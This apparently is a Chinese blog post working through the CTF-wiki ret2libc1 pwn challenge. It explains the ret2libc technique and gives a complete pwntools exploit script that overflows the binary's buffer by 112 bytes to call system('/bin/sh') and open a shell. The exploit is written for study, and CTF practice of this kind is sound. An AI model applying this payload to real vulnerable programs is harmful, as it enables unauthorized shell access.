当前位置:网站首页>跟着CTF-wiki学pwn——ret2libc1
跟着CTF-wiki学pwn——ret2libc1
2022-07-05 23:35:00 【大瑞大】
ret2libc
原理
执行libc中的/bin/sh
步骤
首先,检查程序的安全保护
开启NX:no executable
(不可执行内存数据页)
(不能利用ret2text与ret2shellcode)
其次,查看有无/bin/sh
查看有无system (segment是plt,不是extern)
/bin/sh,是一个字符串,需要知道地址。
system, 是一个可调用函数,需要知道地址。
用 system 调用 /bin/sh即可
所以编写payload,寻址方式可以查看之前的博客,同为112。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
调用libc函数的格式:
system_plt + 4个字节(32位地址) + /bin/sh字符串
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
边栏推荐
- PV静态创建和动态创建
- 保研笔记四 软件工程与计算卷二(8-12章)
- 俄外交部:日韩参加北约峰会影响亚洲安全稳定
- Golang code checking tool
- MySQL replace primary key delete primary key add primary key
- Which side projects can be achieved? Is it difficult for we media to earn more than 10000 a month?
- Spire Office 7.5.4 for NET
- Part III Verilog enterprise real topic of "Niuke brush Verilog"
- yate.conf
- Introduction to JVM
猜你喜欢
动态规划 之 打家劫舍
多普勒效应(多普勒频移)
MySQL replace primary key delete primary key add primary key
20220703 周赛:知道秘密的人数-动规(题解)
【LeetCode】5. Valid palindrome
总结了 800多个 Kubectl 别名,再也不怕记不住命令了!
Dynamic planning: robbing families and houses
What if the C disk is not enough? Let's see how I can clean up 25g of temp disk space after I haven't redone the system for 4 years?
Fiddler Everywhere 3.2.1 Crack
20. Migrate freetype font library
随机推荐
Pyqt control part (I)
poj 2762 Going from u to v or from v to u? (infer whether it is a weak link diagram)
ts类型声明declare
TS type declaration
Initialiser votre vecteur & initialisateur avec une liste Introduction à la Liste
21.PWM应用编程
保研笔记一 软件工程与计算卷二(1-7章)
Online yaml to CSV tool
同事悄悄告诉我,飞书通知还能这样玩
开关电源Buck电路CCM及DCM工作模式
TVS管 与 稳压二极管参数对比
Rasa 3.x 学习系列-Rasa 3.2.1 新版本发布
Spreadjs 15.1 CN and spreadjs 15.1 en
动态规划 之 打家劫舍
STM32__06—单通道ADC
Common static methods of math class
妙才周刊 - 8
Research notes I software engineering and calculation volume II (Chapter 1-7)
Make a short video clip number of we media film and television. Where can I download the material?
[Yu Yue education] NC machining technology reference materials of Shaanxi University of science and technology